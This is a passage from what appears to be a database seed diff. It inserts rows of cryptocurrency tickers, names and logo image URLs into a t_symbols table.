'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3023, 'kingscoin', 'KGS', 'KINGSCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kingscoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3024, 'onz-coin', 'ONZ', 'ONZ Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onz-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3025, 'epc', 'EPC', 'EPC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epc.png', NULL); +INSERT INTO `t_symbols` VALUES (3026, 'metamorph', 'METM', 'MetaMorph', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metamorph.png', NULL); +INSERT INTO `t_symbols` VALUES (3027, 'playloteo', 'LOTEU', 'LOTEO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playloteo.png', NULL); +INSERT INTO `t_symbols` VALUES (3028, 'endorsit-shares', 'EDS', 'Endorsit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/endorsit-shares.png', NULL); +INSERT INTO `t_symbols` VALUES (3029, 'mano-coin', 'MANO', 'Mano Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mano-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3030, 'dalecoin', 'DALC', 'Dalecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dalecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3031, 'nos', 'BIND', 'Compendia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nos.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3032, 'data-transaction-token', 'XD', 'Data Transaction Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data-transaction-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3033, 'cymt', 'CYMT', 'CyberMusic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cymt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3034, 'zenad', 'ZND', 'Zenad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenad.png', NULL); +INSERT INTO `t_symbols` VALUES (3035, 'connectjob', 'CJT', 'ConnectJob', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/connectjob.png', NULL); +INSERT INTO `t_symbols` VALUES (3036, 'adultchain', 'XXX', 'AdultChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adultchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3037, 'gfn', 'GFN', 'Game Fanz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gfn.png', NULL); +INSERT INTO `t_symbols` VALUES (3038, 'tracto', 'TRCT', 'Tracto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tracto.png', NULL); +INSERT INTO `t_symbols` VALUES (3039, 'mix', 'MIX', 'mix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mix.png', NULL); +INSERT INTO `t_symbols` VALUES (3040, 'caluracoin', 'CLC', 'CaluraCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caluracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3041, 'bitquark', 'BTQ', 'BitQuark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BitQuarkCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3042, 'fairgame', 'FAIR', 'FairGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fairgame.png', NULL); +INSERT INTO `t_symbols` VALUES (3043, 'zeuscrowdfunding', 'ZEUS', 'ZeusNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeuscrowdfunding.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3044, 'yearn-finance-bit', 'YFBT', 'Yearn Finance Bit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance-bit.png', NULL); +INSERT INTO `t_symbols` VALUES (3045, 'paws-fund', 'PAWS', 'Paws Funds', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paws-fund.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3046, 'fintab', 'FNTB', 'FinTab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fintab.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3047, 'bytecent', 'BYC', 'Bytecent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytecent.png', NULL); +INSERT INTO `t_symbols` VALUES (3048, 'investdigital', 'IDT', 'InvestDigital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investdigital.png', NULL); +INSERT INTO `t_symbols` VALUES (3049, 'eight-hours', 'EHRT', 'Eight Hours', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eight-hours.png', NULL); +INSERT INTO `t_symbols` VALUES (3050, 'virta-unique-coin', 'VUC', 'Virta Unique Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virta-unique-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3051, 'letitride', 'LIR', 'LetItRide', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/LetItRide_Dice.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3052, 'snbl', 'SNBL', 'Snowball Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snbl.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3053, 'bigup', 'BIGUP', 'BigUp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bigup.png', NULL); +INSERT INTO `t_symbols` VALUES (3054, 'coindeal-token', 'CDL', 'CoinDeal Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coindeal-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3055, 'bitcoal', 'COAL', 'BitCoal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoal.png', NULL); +INSERT INTO `t_symbols` VALUES (3056, 'doubloon', 'BOAT', 'BOAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/doubloon.png', NULL); +INSERT INTO `t_symbols` VALUES (3057, 'bold', 'BOLD', 'Boldman Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3058, 'kmx', 'KMX', 'KIMEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kmx.png', NULL); +INSERT INTO `t_symbols` VALUES (3059, 'infocoin', 'INFO', 'INFOCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3060, 'altbet', 'ABET', 'Altbet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/altbet.png', NULL); +INSERT INTO `t_symbols` VALUES (3061, 'straks', 'STAK', 'STRAKS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/straks.png', NULL); +INSERT INTO `t_symbols` VALUES (3062, 'coinmegatrend', 'CMTR', 'CoinMegaTrend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinmegatrend.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3063, 'independent-money-system', 'IMS', 'Independent Money System', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/IMScrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3064, 'embers', 'MBRS', 'Embers', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/embers.png', NULL); +INSERT INTO `t_symbols` VALUES (3065, 'hippofinance', 'HIPPO', 'HippoFinance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hippofinance.png', NULL); +INSERT INTO `t_symbols` VALUES (3066, 'wbt', 'WBT', 'Whalesburg', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wbt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3067, 'decash', 'DESH', 'DeCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decash.png', NULL); +INSERT INTO `t_symbols` VALUES (3068, 'profile-utility-token', 'PUT', 'Profile Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/profile-utility-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3069, 'beetle-coin', 'BEET', 'Beetlecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beetle-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3070, 'dscb', 'DSCB', 'DSCB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dscb.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3071, 'shield-xsh', 'XSH', 'SHIELD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shield-xsh.png', NULL); +INSERT INTO `t_symbols` VALUES (3072, 'gold-poker', 'GPKR', 'Gold Poker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gold-poker.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3073, 'billarycoin', 'BLRY', 'BillaryCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BillaryCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3074, 'zayedcoin', 'ZYD', 'Zayedcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zayedcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3075, 'iconic', 'ICON', 'Iconic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iconic.png', NULL); +INSERT INTO `t_symbols` VALUES (3076, 'hqt', 'HQT', 'HyperQuant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hqt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3077, 'connect-coin', 'XCON', 'Connect Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/442933f00ee27b08eec206ac888a1b8b.png', NULL); +INSERT INTO `t_symbols` VALUES (3078, 'xgox', 'XGOX', 'XGOX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xgox.png', NULL); +INSERT INTO `t_symbols` VALUES (3079, 'stronghands-masternode', 'SHMN', 'StrongHands Masternode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stronghands-masternode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3080, 'opus', 'OPT', 'Opus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/opus.png', NULL); +INSERT INTO `t_symbols` VALUES (3081, 'elcoin-el', 'EL', 'Elcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elcoin-el.png', NULL); +INSERT INTO `t_symbols` VALUES (3082, 'thorecash', 'TCH', 'Thore Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorecash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3083, 'royal-kingdom-coin', 'RKC', 'Royal Kingdom Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RKC_ICO.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3084, '8x8-protocol', 'EXE', '8X8 Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/8x8-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3085, 'olympic', 'OLMP', 'Olympic Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/olympic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3086, 'hero-token', 'RAISE', 'Raise', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hero-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3087, 'wte', 'WTE', 'wte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wte.png', NULL); +INSERT INTO `t_symbols` VALUES (3088, 'exx-token', 'ET', 'EXX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exx-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3089, 'dmscript', 'DMST', 'DMScript', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dmscript.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3090, 'squirrel-finance', 'NUTS', 'Squirrel Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/squirrel-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (3091, 'ccuniverse', 'UVU', 'CCUniverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccuniverse.png', NULL); +INSERT INTO `t_symbols` VALUES (3092, 'veltor', 'VLT', 'Veltor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veltor.png', NULL); +INSERT INTO `t_symbols` VALUES (3093, 'yellow-token', 'YEL', 'Yellow Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/YellowToken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3094, 'renos', 'RNS', 'Renos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RenosCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3095, 'neuro', 'NRO', 'Neuro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neuro.png', NULL); +INSERT INTO `t_symbols` VALUES (3096, 'amsterdamcoin', 'AMS', 'AmsterdamCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amsterdamcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3097, 'medibit', 'MEDIBIT', 'MediBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medibit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3098, 'coinonat', 'CXT', 'Coinonat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinonat.png', NULL); +INSERT INTO `t_symbols` VALUES (3099, 'fortuna', 'FOTA', 'Fortuna', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fortuna.png', NULL); +INSERT INTO `t_symbols` VALUES (3100, 'hempora', 'HEMP', 'Hempora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hempora.png', NULL); +INSERT INTO `t_symbols` VALUES (3101, 'kodcoin', 'KOD', 'KODcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kodcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3102, 'argentum', 'ARG', 'Argentum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/argentum.png', NULL); +INSERT INTO `t_symbols` VALUES (3103, 'invacio', 'INV', 'Invacio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/invacio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3104, 'spectrumx', 'SPE', 'SpectrumX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spectrumx.png', NULL); +INSERT INTO `t_symbols` VALUES (3105, 'aidoc', 'AIDOC', 'AI Doctor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidoc.png', NULL); +INSERT INTO `t_symbols` VALUES (3106, 'ibt', 'IBT', 'ICOBay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ibt.png', NULL); +INSERT INTO `t_symbols` VALUES (3107, 'crystal-clear', 'CCT', 'Crystal Clear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crystal-clear.png', NULL); +INSERT INTO `t_symbols` VALUES (3108, 'mri', 'MRI', 'Mirai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mri.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3109, 'ecocoin', 'ECO', 'EcoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3110, 'token-guard', 'TKGN', 'Token Guardian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/token-guard.png', NULL); +INSERT INTO `t_symbols` VALUES (3111, 'bul', 'BUL', 'Bulleon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bul.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3112, 'monacocoin', 'XMCC', 'Monoeci', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monacocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3113, 'grimcoin', 'GRIM', 'Grimcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/grimcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3114, 'bitasean', 'BAS', 'BitAsean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitasean.png', NULL); +INSERT INTO `t_symbols` VALUES (3115, 'concoin', 'CONX', 'Concoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/con_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3116, 'kwatt', 'KWATT', '4NEW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kwatt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3117, 'wlk', 'WLK', 'Wolk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wlk.png', NULL); +INSERT INTO `t_symbols` VALUES (3118, 'macron', 'MCRN', 'MACRON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/macron.png', NULL); +INSERT INTO `t_symbols` VALUES (3119, 'uralscoin', 'URALS', 'Urals Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uralscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3120, 'mooncoin', 'MOON', 'Mooncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mooncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3121, 'care', 'CARE', 'Carebit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/care.png', NULL); +INSERT INTO `t_symbols` VALUES (3122, 'worldofdefishtoken', 'WOD', 'World of Defish', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/worldofdefish.png', NULL); +INSERT INTO `t_symbols` VALUES (3123, 'kind-ads-token', 'KIND', 'Kind Ads', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kind-ads-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3124, 'fabric-token', 'FT', 'Fabric Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fabric-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3125, 'sparks', 'SPK', 'Sparks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Sparks_Crypro.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3126, 'evencoin', 'EVN', 'EvenCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evencoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3127, 'cryptrust', 'CTRT', 'Cryptrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptrust.png', NULL); +INSERT INTO `t_symbols` VALUES (3128, 'futurax', 'FTXT', 'FUTURAX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/futurax.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3129, 'herbalist-token', 'HERB', 'Herbalist', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/herbalist-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3130, 'staker', 'STR', 'Staker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/staker.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3131, 'fantasy-sports', 'DFS', 'Fantasy Sports', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantasy-sports.png', NULL); +INSERT INTO `t_symbols` VALUES (3132, 'lud', 'LUD', 'Ludos Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lud.png', NULL); +INSERT INTO `t_symbols` VALUES (3133, 'decentralized-asset-trading-platform', 'DATP', 'Decentralized Asset Trading Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-asset-trading-platform.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3134, 'hollywoodcoin', 'HWC', 'HollyWoodCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Hollywood_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3135, 'boat-pilot-token', 'NAVY', 'BoatPilot Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boat-pilot-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3136, 'tic', 'TIC', 'Thingschain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3137, 'bitcoin-unicorn', 'BTCUI', 'Bitcoin Unicorn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-unicorn.png', NULL); +INSERT INTO `t_symbols` VALUES (3138, 'soma', 'SCT', 'Soma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SomaEcomm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3139, 'spectrumcash', 'XSM', 'SpectrumCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spectrumcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3140, 'kzcash', 'KZC', 'Kzcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cash_kz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3141, 'insolar-xns', 'XNS', 'Insolar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insolar-xns.png', NULL); +INSERT INTO `t_symbols` VALUES (3142, 'combit', 'COMBI', 'ComBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/combit.png', NULL); +INSERT INTO `t_symbols` VALUES (3143, 'lovcoin', 'LOVC', 'Love Wine Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lovcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3144, 'ucn', 'UCN', 'ucn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ucn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3145, 'funcoin', 'FUNC', 'FUNCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/funcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3146, 'uchain', 'UCN', 'UChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3147, 'cryptoeenergy', 'CNRG', 'CryptoEnergy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/cryptoEenergy.png', NULL); +INSERT INTO `t_symbols` VALUES (3148, 'tvnt', 'TVNT', 'TravelNote', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tvnt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3149, 'bridgecoin', 'BCO', 'BridgeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bridgecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3150, 'skyhub-coin', 'SHB', 'SkyHub Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skyhub-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3151, 'couchain', 'COU', 'Couchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/couchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3152, 'cryptonodes', 'CNMC', 'Cryptonodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptonodes.png', NULL); +INSERT INTO `t_symbols` VALUES (3153, 'paytomat', 'PTI', 'Paytomat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/9f2473c775b6f8f4b657a5bb8752a054.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3154, 'bonpay', 'BON', 'Bonpay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bonpay.png', NULL); +INSERT INTO `t_symbols` VALUES (3155, 'biobar', 'BIOB', 'BioBar', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3156, 'btl', 'BTL', 'BitLong', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3157, 'nekonium', 'NUKO', 'Nekonium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/NekoniumDev.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3158, 'save-and-gain', 'SANDG', 'Save and Gain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/save-and-gain.png', NULL); +INSERT INTO `t_symbols` VALUES (3159, 'cannation', 'CNNC', 'Cannation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cannation.png', NULL); +INSERT INTO `t_symbols` VALUES (3160, 'sydpak', 'SDP', 'SydPak', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SydpakCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3161, 'block-logic', 'BLTG', 'Block-Logic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/block-logic.png', NULL); +INSERT INTO `t_symbols` VALUES (3162, 'wixsite', 'VARIUS', 'Varius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wixsite.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3163, 'joincoin', 'J', 'Joincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Joincoin_Team.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3164, 'archetypal-network', 'ACTP', 'Archetypal Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/archetypal-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3165, 'javascript-token', 'JS', 'JavaScript Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/javascript-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3166, 'helex-token', 'HLX', 'Helex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helex-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3167, 'cru', 'CRU', 'Curium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cru.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3168, 'traid', 'TRAID', 'Traid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/traid.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3169, 'lampix', 'PIX', 'Lampix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lampix.png', NULL); +INSERT INTO `t_symbols` VALUES (3170, 'save-environment-token', 'SET', 'Save Environment Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/save-environment-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3171, 'srcoin', 'SRH', 'SRH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/srcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3172, 'sequence', 'SEQ', 'Sequence', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sequence.png', NULL); +INSERT INTO `t_symbols` VALUES (3173, 'master-swiscoin', 'MSCN', 'Master Swiscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/master-swiscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3174, 'dash-green', 'DASHG', 'Dash Green', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash-green.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3175, 'kayicoin', 'KAYI', 'Kayicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Kayicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3176, 'nplc', 'NPLC', 'Plus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nplc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3177, 'boutspro', 'BOUTS', 'BoutsPro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boutspro.png', NULL); +INSERT INTO `t_symbols` VALUES (3178, 'cryptohashtank-coin', 'CHTC', 'CryptoHashTank Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptohashtank-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3179, 'blocknode', 'BND', 'Blocknode', 